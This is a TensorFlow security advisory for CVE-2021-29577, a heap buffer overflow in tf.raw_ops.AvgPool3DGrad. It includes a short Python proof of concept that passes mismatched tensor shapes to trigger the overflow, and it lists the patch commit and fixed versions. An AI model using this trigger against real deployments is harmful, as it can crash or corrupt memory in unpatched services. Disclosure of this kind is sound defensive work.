Heap buffer overflow in `AvgPool3DGrad`

(Low) mihaimaruseac published GHSA-v6r6-84gr-92rm on May 12, 2021

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

< 2.5.0

Patched versions 2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

The implementation of $tf.raw_ops.AvgPool3DGrad$ is vulnerable to a heap buffer overflow:

import tensorflow as tf orig_input_shape = tf.constant([10, 6, 3, 7, 7], shape=[5], dtype=tf.int32) grad = tf.constant([0.01, 0, 0], shape=[3, 1, 1, 1, 1], dtype=tf.float32) ksize = [1, 1, 1, 1, 1] strides = [1, 1, 1, 1, 1] padding = "SAME" tf.raw_ops.AvgPool3DGrad(
orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides,
padding=padding)

The implementation assumes that the orig_input_shape and grad tensors have similar first and last dimensions but does not check that this assumption is validated.

We have patched the issue in GitHub commit 6fc9141f42f6a72180ecd24021c3e6b36165fe0d.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity Low



CVE ID

CVE-2021-29577

Weaknesses

No CWEs